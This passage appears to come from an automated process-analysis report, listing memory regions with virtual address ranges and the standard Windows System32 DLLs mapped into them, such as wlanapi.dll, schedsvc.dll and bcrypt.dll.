region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 5245 start_va = 0x7ff9e0a90000 end_va = 0x7ff9e0aa9fff entry_point = 0x7ff9e0a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 5246 start_va = 0x7ff9e0ab0000 end_va = 0x7ff9e0abcfff entry_point = 0x7ff9e0ab0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 5247 start_va = 0x7ff9e0b70000 end_va = 0x7ff9e0bcefff entry_point = 0x7ff9e0b70000 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 5248 start_va = 0x7ff9e0c60000 end_va = 0x7ff9e0c7cfff entry_point = 0x7ff9e0c60000 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 5249 start_va = 0x7ff9e0c80000 end_va = 0x7ff9e0ce3fff entry_point = 0x7ff9e0c80000 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 5250 start_va = 0x7ff9e1290000 end_va = 0x7ff9e12a7fff entry_point = 0x7ff9e1290000 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 5251 start_va = 0x7ff9e12b0000 end_va = 0x7ff9e12d2fff entry_point = 0x7ff9e12b0000 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 5252 start_va = 0x7ff9e12e0000 end_va = 0x7ff9e1324fff entry_point = 0x7ff9e12e0000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 5253 start_va = 0x7ff9e1330000 end_va = 0x7ff9e1343fff entry_point = 0x7ff9e1330000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 5254 start_va = 0x7ff9e1350000 end_va = 0x7ff9e1440fff entry_point = 0x7ff9e1350000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5255 start_va = 0x7ff9e1790000 end_va = 0x7ff9e1799fff entry_point = 0x7ff9e1790000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 5256 start_va = 0x7ff9e17b0000 end_va = 0x7ff9e17c4fff entry_point = 0x7ff9e17b0000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 5257 start_va = 0x7ff9e1890000 end_va = 0x7ff9e18cefff entry_point = 0x7ff9e1890000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 5258 start_va = 0x7ff9e18d0000 end_va = 0x7ff9e196efff entry_point = 0x7ff9e18d0000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 5259 start_va = 0x7ff9e1970000 end_va = 0x7ff9e19cafff entry_point = 0x7ff9e1970000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 5260 start_va = 0x7ff9e19d0000 end_va = 0x7ff9e19fdfff entry_point = 0x7ff9e19d0000 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 5261 start_va = 0x7ff9e1bb0000 end_va = 0x7ff9e1be1fff entry_point = 0x7ff9e1bb0000 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 5262 start_va = 0x7ff9e1bf0000 end_va = 0x7ff9e1c4cfff entry_point = 0x7ff9e1bf0000 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 5263 start_va = 0x7ff9e1c50000 end_va = 0x7ff9e1c6ffff entry_point = 0x7ff9e1c50000 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 5264 start_va = 0x7ff9e1c70000 end_va = 0x7ff9e1c77fff entry_point = 0x7ff9e1c70000 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 5265 start_va = 0x7ff9e1c80000 end_va = 0x7ff9e1c90fff entry_point = 0x7ff9e1c80000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 5266 start_va = 0x7ff9e1ff0000 end_va = 0x7ff9e206efff entry_point = 0x7ff9e1ff0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 5267 start_va = 0x7ff9e2070000 end_va = 0x7ff9e20abfff entry_point = 0x7ff9e2070000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 5268 start_va = 0x7ff9e20b0000 end_va = 0x7ff9e20fbfff entry_point = 0x7ff9e20b0000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 5269 start_va = 0x7ff9e23b0000 end_va = 0x7ff9e23c7fff entry_point = 0x7ff9e23b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 5270 start_va = 0x7ff9e23d0000 end_va = 0x7ff9e2552fff entry_point = 0x7ff9e23d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 5271 start_va = 0x7ff9e2560000 end_va = 0x7ff9e2576fff entry_point = 0x7ff9e2560000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 5272 start_va = 0x7ff9e2fa0000 end_va = 0x7ff9e2fabfff entry_point = 0x7ff9e2fa0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 5273 start_va = 0x7ff9e4920000 end_va = 0x7ff9e49b1fff entry_point = 0x7ff9e4920000 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 5274 start_va = 0x7ff9e49c0000 end_va = 0x7ff9e49f8fff entry_point = 0x7ff9e49c0000 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 5275 start_va = 0x7ff9e4a00000 end_va = 0x7ff9e4a08fff entry_point = 0x7ff9e4a00000 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 5276 start_va = 0x7ff9e4a10000 end_va = 0x7ff9e4ae5fff entry_point = 0x7ff9e4a10000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 5277 start_va = 0x7ff9e4af0000 end_va = 0x7ff9e4b2ffff entry_point = 0x7ff9e4af0000 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 5278 start_va = 0x7ff9e4b30000 end_va = 0x7ff9e4b40fff entry_point = 0x7ff9e4b30000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 5279 start_va = 0x7ff9e4b50000 end_va = 0x7ff9e4b60fff entry_point = 0x7ff9e4b50000 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 5280 start_va = 0x7ff9e4b70000 end_va = 0x7ff9e4beffff entry_point = 0x7ff9e4b70000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 5281 start_va = 0x7ff9e4bf0000 end_va = 0x7ff9e4c24fff entry_point = 0x7ff9e4bf0000 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 5282 start_va = 0x7ff9e6470000 end_va = 0x7ff9e648cfff entry_point = 0x7ff9e6470000 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 5283 start_va = 0x7ff9e6720000 end_va = 0x7ff9e6755fff entry_point = 0x7ff9e6720000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 5284 start_va = 0x7ff9e7320000 end_va = 0x7ff9e7328fff entry_point = 0x7ff9e7320000 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 5285 start_va = 0x7ff9e7330000 end_va = 0x7ff9e735cfff entry_point = 0x7ff9e7330000 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 5286 start_va = 0x7ff9e7360000 end_va = 0x7ff9e736ffff entry_point = 0x7ff9e7360000 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 5287 start_va = 0x7ff9e7370000 end_va = 0x7ff9e73c0fff entry_point = 0x7ff9e7370000 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 5288 start_va = 0x7ff9e73d0000 end_va = 0x7ff9e73dbfff entry_point = 0x7ff9e73d0000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 5289 start_va = 0x7ff9e73e0000 end_va = 0x7ff9e749dfff entry_point = 0x7ff9e73e0000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 5290 start_va = 0x7ff9e74a0000 end_va = 0x7ff9e7535fff entry_point = 0x7ff9e74a0000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 5291 start_va = 0x7ff9e7630000 end_va = 0x7ff9e7649fff entry_point = 0x7ff9e7630000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 5292 start_va = 0x7ff9e7650000 end_va = 0x7ff9e7665fff entry_point = 0x7ff9e7650000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 5293 start_va = 0x7ff9e7680000 end_va = 0x7ff9e76e7fff entry_point = 0x7ff9e7680000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5294 start_va = 0x7ff9e77f0000 end_va = 0x7ff9e780bfff entry_point = 0x7ff9e77f0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 5295 start_va = 0x7ff9e7960000 end_va = 0x7ff9e7a90fff entry_point = 0x7ff9e7960000 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 5296 start_va = 0x7ff9e7aa0000 end_va = 0x7ff9e7addfff entry_point = 0x7ff9e7aa0000 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 5297 start_va = 0x7ff9e7ae0000 end_va = 0x7ff9e7af7fff entry_point = 0x7ff9e7ae0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 5298 start_va = 0x7ff9e7b00000 end_va = 0x7ff9e7bb3fff entry_point = 0x7ff9e7b00000 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 5299 start_va = 0x7ff9e7da0000 end_va = 0x7ff9e7dccfff entry_point = 0x7ff9e7da0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 5300 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5301 start_va = 0x7ff9e8030000 end_va = 0x7ff9e803ffff entry_point = 0x7ff9e8030000 region_type = mapped_file name = "timebrokerclient.dll" filename = "\\Windows\\System32\\TimeBrokerClient.dll" (normalized: "c:\\windows\\system32\\timebrokerclient.dll") Region: id = 5302 start_va = 0x7ff9e8040000 end_va = 0x7ff9e806dfff entry_point = 0x7ff9e8040000 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 5303 start_va = 0x7ff9e8070000 end_va = 0x7ff9e8085fff entry_point = 0x7ff9e8070000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 5304 start_va = 0x7ff9e8090000 end_va = 0x7ff9e809ffff entry_point = 0x7ff9e8090000 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 5305 start_va = 0x7ff9e80a0000 end_va = 0x7ff9e80e1fff entry_point = 0x7ff9e80a0000 region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll") Region: id = 5306 start_va = 0x7ff9e80f0000 end_va = 0x7ff9e815dfff entry_point = 0x7ff9e80f0000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 5307 start_va = 0x7ff9e8160000 end_va = 0x7ff9e8170fff entry_point = 0x7ff9e8160000 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 5308 start_va = 0x7ff9e8180000 end_va = 0x7ff9e818cfff entry_point = 0x7ff9e8180000 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 5309 start_va = 0x7ff9e8190000 end_va = 0x7ff9e81cffff entry_point = 0x7ff9e8190000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 5310 start_va = 0x7ff9e81d0000 end_va = 0x7ff9e82cbfff entry_point = 0x7ff9e81d0000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 5311 start_va = 0x7ff9e82d0000 end_va = 0x7ff9e8349fff entry_point = 0x7ff9e82d0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 5312 start_va = 0x7ff9e8350000 end_va = 0x7ff9e8366fff entry_point = 0x7ff9e8350000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 5313 start_va = 0x7ff9e8380000 end_va = 0x7ff9e8392fff entry_point = 0x7ff9e8380000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 5314 start_va = 0x7ff9e83a0000 end_va = 0x7ff9e845ffff entry_point = 0x7ff9e83a0000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 5315 start_va = 0x7ff9e8460000 end_va = 0x7ff9e847dfff entry_point = 0x7ff9e8460000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 5316 start_va = 0x7ff9e8480000 end_va = 0x7ff9e84a6fff entry_point = 0x7ff9e8480000 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 5317 start_va = 0x7ff9e84b0000 end_va = 0x7ff9e8504fff entry_point = 0x7ff9e84b0000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 5318 start_va = 0x7ff9e85e0000 end_va = 0x7ff9e8644fff entry_point = 0x7ff9e85e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 5319 start_va = 0x7ff9e86a0000 end_va = 0x7ff9e86aafff entry_point = 0x7ff9e86a0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5320 start_va = 0x7ff9e86c0000 end_va = 0x7ff9e86f7fff entry_point = 0x7ff9e86c0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5321 start_va = 0x7ff9e88c0000 end_va = 0x7ff9e88c9fff entry_point = 0x7ff9e88c0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 5322 start_va = 0x7ff9e88d0000 end_va = 0x7ff9e88e7fff entry_point = 0x7ff9e88d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 5323 start_va = 0x7ff9e88f0000 end_va = 0x7ff9e8a3cfff entry_point = 0x7ff9e88f0000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 5324 start_va = 0x7ff9e9260000 end_va = 0x7ff9e9272fff entry_point = 0x7ff9e9260000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 5325 start_va = 0x7ff9e98f0000 end_va = 0x7ff9e9967fff entry_point = 0x7ff9e98f0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 5326 start_va = 0x7ff9e9b10000 end_va = 0x7ff9e9b36fff entry_point = 0x7ff9e9b10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5327 start_va = 0x7ff9e9cf0000 end_va = 0x7ff9e9cfbfff entry_point = 0x7ff9e9cf0000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 5328 start_va = 0x7ff9e9ed0000 end_va = 0x7ff9e9f01fff entry_point = 0x7ff9e9ed0000 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 5329 start_va = 0x7ff9e9f10000 end_va = 0x7ff9e9f91fff entry_point = 0x7ff9e9f10000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 5330 start_va = 0x7ff9ea0c0000 end_va = 0x7ff9ea0e2fff entry_point = 0x7ff9ea0c0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 5331 start_va = 0x7ff9ea1f0000 end_va = 0x7ff9ea1fbfff entry_point = 0x7ff9ea1f0000 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 5332 start_va = 0x7ff9ea260000 end_va = 0x7ff9ea2a7fff entry_point = 0x7ff9ea260000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 5333 start_va = 0x7ff9ea3d0000 end_va = 0x7ff9ea3ebfff entry_point = 0x7ff9ea3d0000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 5334 start_va = 0x7ff9ea3f0000 end_va = 0x7ff9ea3fbfff entry_point = 0x7ff9ea3f0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 5335 start_va = 0x7ff9ea400000 end_va = 0x7ff9ea425fff entry_point = 0x7ff9ea400000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 5336 start_va = 0x7ff9ea4e0000 end_va = 0x7ff9ea511fff entry_point = 0x7ff9ea4e0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 5337 start_va = 0x7ff9ea5c0000 end_va = 0x7ff9ea5c9fff entry_point = 0x7ff9ea5c0000 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 5338 start_va = 0x7ff9ea620000 end_va = 0x7ff9ea677fff entry_point = 0x7ff9ea620000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 5339 start_va = 0x7ff9ea6c0000 end_va = 0x7ff9ea6f2fff entry_point = 0x7ff9ea6c0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5340 start_va = 0x7ff9ea7b0000 end_va = 0x7ff9ea7cefff entry_point = 0x7ff9ea7b0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 5341 start_va = 0x7ff9ea7d0000 end_va = 0x7ff9ea80dfff entry_point = 0x7ff9ea7d0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 5342 start_va = 0x7ff9ea810000 end_va = 0x7ff9ea8b7fff entry_point = 0x7ff9ea810000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 5343 start_va = 0x7ff9eaa10000 end_va = 0x7ff9eaa6cfff entry_point = 0x7ff9eaa10000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 5344 start_va = 0x7ff9eaa70000 end_va = 0x7ff9eaa86fff entry_point = 0x7ff9eaa70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5345 start_va = 0x7ff9eabe0000 end_va = 0x7ff9eabeafff entry_point = 0x7ff9eabe0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5346 start_va = 0x7ff9eac20000 end_va = 0x7ff9eac40fff entry_point = 0x7ff9eac20000 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 5347 start_va = 0x7ff9eac70000 end_va = 0x7ff9eaca5fff entry_point = 0x7ff9eac70000 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 5348 start_va = 0x7ff9eacb0000 end_va = 0x7ff9eacd5fff entry_point = 0x7ff9eacb0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 5349 start_va = 0x7ff9eadc0000 end_va = 0x7ff9eadebfff entry_point = 0x7ff9eadc0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5350 start_va = 0x7ff9eaf90000 end_va = 0x7ff9eafa9fff entry_point = 0x7ff9eaf90000 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 5351 start_va = 0x7ff9eafb0000 end_va = 0x7ff9eafb7fff entry_point = 0x7ff9eafb0000 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 5352 start_va = 0x7ff9eafc0000 end_va = 0x7ff9eafe7fff entry_point = 0x7ff9eafc0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5353 start_va = 0x7ff9eaff0000 end_va = 0x7ff9eb05afff entry_point = 0x7ff9eaff0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5354 start_va = 0x7ff9eb060000 end_va = 0x7ff9eb0f7fff entry_point = 0x7ff9eb060000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 5355 start_va = 0x7ff9eb1a0000 end_va = 0x7ff9eb1b2fff entry_point = 0x7ff9eb1a0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 5356 start_va = 0x7ff9eb1c0000 end_va = 0x7ff9eb209fff entry_point = 0x7ff9eb1c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 5357 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") 